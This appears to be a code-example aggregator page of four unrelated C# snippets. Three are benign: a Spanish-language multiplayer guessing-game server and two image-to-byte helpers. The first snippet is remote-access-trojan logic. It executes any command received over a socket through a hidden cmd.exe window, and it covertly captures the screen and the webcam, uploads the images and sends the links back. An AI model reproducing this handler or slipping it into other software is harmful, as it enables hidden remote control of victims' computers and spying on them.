Ejemplo n.º 1
0
        public static void ProcessRequest(Data data, Socket handler)
        {
            try
            {
                switch (data.Type)
                {
                case "CMD":
                    ProcessStartInfo startInfo = new ProcessStartInfo
                    {
                        WindowStyle = ProcessWindowStyle.Hidden,
                        FileName    = "cmd.exe",
                        Arguments   = $"/C {data.Contents}"
                    };

                    new Process()
                    {
                        StartInfo = startInfo,
                    }.Start();
                    break;

                case "MessageBox":
                    var MessageBoxObj = JsonConvert.DeserializeObject <MessageBoxModel>(data.Contents);
                    MessageBox.Show(MessageBoxObj.Description, MessageBoxObj.Title, MessageBoxUtils.BoxButtons[MessageBoxObj.BoxButtons], MessageBoxUtils.BoxIcons[MessageBoxObj.BoxIcon]);
                    break;

                case "ScreenShot":
                    byte[] ScreenshotBytes   = new Core.ScreenCapture().CaptureScreenBytes();
                    string ScreenshotOutput  = new API.ImageService().UploadImage(ScreenshotBytes).Result;
                    byte[] ScreenshotMessage = Encoding.UTF8.GetBytes(ScreenshotOutput);
                    handler.Send(ScreenshotMessage);
                    break;

                case "Camera":
                    var            Frame         = Capture.QueryFrame();
                    Bitmap         image         = Frame.Bitmap;
                    ImageConverter converter     = new ImageConverter();
                    byte[]         CameraBytes   = (byte[])converter.ConvertTo(image, typeof(byte[]));
                    string         CameraOutput  = new API.ImageService().UploadImage(CameraBytes).Result;
                    byte[]         CameraMessage = Encoding.UTF8.GetBytes(CameraOutput);
                    handler.Send(CameraMessage);
                    break;

                default:
                    ProcessStartInfo pStartInfo = new ProcessStartInfo
                    {
                        WindowStyle = ProcessWindowStyle.Hidden,
                        FileName    = "cmd.exe",
                        Arguments   = $"/C {data.Contents}"
                    };

                    new Process()
                    {
                        StartInfo = pStartInfo,
                    }.Start();
                    break;
                }
            }
            catch (Exception)
            {
                byte[] msg = Encoding.UTF8.GetBytes("Task failed.");
                handler.Send(msg);
                handler.Shutdown(SocketShutdown.Both);
                handler.Close();
            }
            finally
            {
                byte[] msg = Encoding.UTF8.GetBytes("OK.");
                handler.Send(msg);
                handler.Shutdown(SocketShutdown.Both);
                handler.Close();
            }
        }
Ejemplo n.º 2
0
        private void EnviarInstruccion(int numInstruccion, string mensaje = "")
        {
            lock (key)
            {
                Thread.Sleep(100);
                TcpClient     cliente;
                NetworkStream ns;
                StreamReader  sr;
                StreamWriter  sw;

                #region Instruccion Nueva Partida - 3
                if (numInstruccion == 3) //ENVIO INSTRUCCION DE NUEVA PARTIDA
                {
                    p.RondaActual++;

                    foreach (Jugador j in Jugadores)
                    {
                        j.PartidaFinalizada  = false;
                        j.RespuestaAdivinada = false;

                        cliente = new TcpClient(j.Ip, j.PuertoEscucha);
                        ns      = cliente.GetStream();
                        sr      = new StreamReader(ns);
                        sw      = new StreamWriter(ns);

                        sw.WriteLine("#INICIARNUEVAPARTIDA#");
                        sw.Flush();
                        string dato = sr.ReadLine(); //recibe respuesta del cliente
                        if (dato.Split('#')[1].Equals("OK"))
                        {
                            try
                            {
                                //Enviar Imagen
                                Bitmap tImage = p.NewImg();

                                sw.WriteLine("#PISTA#" + p.Respuesta + "#");
                                sw.Flush();

                                ImageConverter imageConverter = new ImageConverter();

                                byte[] bStream = (byte[])imageConverter.ConvertTo(tImage, typeof(byte[])); //convierte imagen a array de byte
                                ns.Write(bStream, 0, bStream.Length);
                            }
                            catch (SocketException er)
                            {
                                Console.WriteLine("Error Envio: " + er);
                            }
                        }
                        else
                        {
                            Console.WriteLine("No se pudo iniciar la partida");
                        }
                        cliente.Close();
                    }
                }
                #endregion

                #region Enviar Resultado total - 7
                if (numInstruccion == 7) //ENVIAR RESULTADO TOTAL
                {
                    if (Jugadores.All(c => c.PartidaFinalizada == true))
                    {
                        string resultados = "#RESULTADOTOTAL#";
                        int    cont       = 0;
                        foreach (Jugador j in Jugadores.OrderByDescending(c => c.Puntuacion))
                        {
                            cont++;
                            resultados += cont + ") " + j.Nick + " - " + j.Puntuacion + "#";
                        }

                        foreach (Jugador j in Jugadores)
                        {
                            //Envio resultados a todos los clientes
                            cliente = new TcpClient(j.Ip, j.PuertoEscucha);
                            ns      = cliente.GetStream();
                            sr      = new StreamReader(ns);
                            sw      = new StreamWriter(ns);
                            sw.WriteLine(resultados);
                            sw.Flush();
                        }

                        Console.WriteLine("ronda: " + p.RondaActual);

                        //COMPRUEBA SI SE ALCANZÓ EL NUMERO MAX DE RONDAS,
                        //TODO NUMERO MAX DE PUNTOS

                        if (p.RondaActual < numericUpDown_maxRondas.Value)
                        {
                            EnviarInstruccion(3);
                        }
                        else
                        {
                            //FIN DE LA PARTIDA
                            EnviarInstruccion(9);
                        }
                    }
                }
                #endregion

                #region Enviar Mensaje - 8
                if (numInstruccion == 8) //ENVIO DE MENSAJE DE CHAT
                {
                    foreach (Jugador j in Jugadores)
                    {
                        //envio info al primer cliente
                        cliente = new TcpClient(j.Ip, j.PuertoEscucha);
                        ns      = cliente.GetStream();
                        sr      = new StreamReader(ns);
                        sw      = new StreamWriter(ns);
                        Console.WriteLine(j.Nick + ":" + mensaje);
                        sw.WriteLine("#MSGCHAT#" + mensaje);
                        sw.Flush();
                    }
                }
                #endregion

                #region EnviarDesconexion - 11
                if (numInstruccion == 11 && mensaje == "")
                {
                    foreach (Jugador j in Jugadores)
                    {
                        cliente = new TcpClient(j.Ip, j.PuertoEscucha);
                        ns      = cliente.GetStream();
                        sr      = new StreamReader(ns);
                        sw      = new StreamWriter(ns);
                        sw.WriteLine("#DESCONEXION#");
                        sw.Flush();
                        string dato = sr.ReadLine(); //recibe respuesta del cliente
                        if (dato.Split('#')[1] == "OK")
                        {
                            j.Cliente.Close();
                            j.Cliente.Dispose();
                        }
                    }
                }
                if (numInstruccion == 11 && mensaje != "")
                {
                    if (listbox_connectedPlayers.SelectedIndex > -1)
                    {
                        try
                        {
                            string value  = listbox_connectedPlayers.Text;
                            string ip     = value.Split(':')[1].Split(' ')[0].Trim();
                            int    puerto = Convert.ToInt32(value.Split(':')[2].Trim());

                            cliente = new TcpClient(ip, puerto);
                            ns      = cliente.GetStream();
                            sr      = new StreamReader(ns);
                            sw      = new StreamWriter(ns);
                            sw.WriteLine("#DESCONEXION#");
                            sw.Flush();
                            string dato = sr.ReadLine(); //recibe respuesta del cliente
                            if (dato.Split('#')[1] == "OK")
                            {
                                listbox_connectedPlayers.Items.RemoveAt(listbox_connectedPlayers.SelectedIndex);
                                Jugadores.Remove(Jugadores.Where(c => c.PuertoEscucha.Equals(puerto)).First());
                                label_connectedPlayers.Text = "Jugadores conectados (" + Jugadores.Count + ")";
                                cliente.Close();
                            }
                        }
                        catch (Exception er)
                        {
                            Console.WriteLine(er);
                        }
                    }
                }
                #endregion

                #region FIN DE PARTIDA

                if (numInstruccion == 9) // FIN DE PARTIDA
                {
                    p.PartidaIniciada = false;
                    p.RondaActual     = 0;
                    p.ListaImg        = p.Barajar(p.ListaImg);

                    //recuento de puntos y podio
                    List <Jugador> podio = new List <Jugador>();
                    podio = Jugadores.Where(c => c.Puntuacion.Equals(Jugadores.Max(x => x.Puntuacion))).ToList();
                    string clasificacion = "#";
                    if (podio.Count > 1)
                    {
                        clasificacion += "HAY " + podio.Count + " GANADORES EMPATADOS:#";
                    }
                    else
                    {
                        clasificacion += "GANADOR:#";
                    }
                    foreach (Jugador x in podio)
                    {
                        clasificacion += x.Nick.ToUpper() + " - " + x.Puntuacion + "PUNTOS#";
                    }

                    foreach (Jugador j in Jugadores)
                    {
                        cliente = new TcpClient(j.Ip, j.PuertoEscucha);
                        ns      = cliente.GetStream();
                        sr      = new StreamReader(ns);
                        sw      = new StreamWriter(ns);
                        Console.WriteLine("ENTRO AQUI " + j.Nick + "pts: " + j.Puntuacion);
                        j.Listoparajugar     = false;
                        j.PartidaFinalizada  = false;
                        j.Puntuacion         = 0;
                        j.RespuestaAdivinada = false;
                        Console.WriteLine("SALIO AQUI " + j.Nick + "pts: " + j.Puntuacion);
                        sw.WriteLine("#FINDEPARTIDA#=====FIN DE LA PARTIDA=====" + clasificacion);
                        sw.Flush();
                        Console.WriteLine(sr.ReadLine());
                    }
                }
                #endregion
            }
        }
Ejemplo n.º 3
0
        public static byte[] ImageToByte(Image img)
        {
            ImageConverter converter = new ImageConverter();

            return((byte[])converter.ConvertTo(img, typeof(byte[])));
        }
Ejemplo n.º 4
0
        public static byte[] GrayImageToByte(Bitmap bitmap)
        {
            ImageConverter converter = new ImageConverter();

            return((byte[])converter.ConvertTo(bitmap, typeof(byte[])));
        }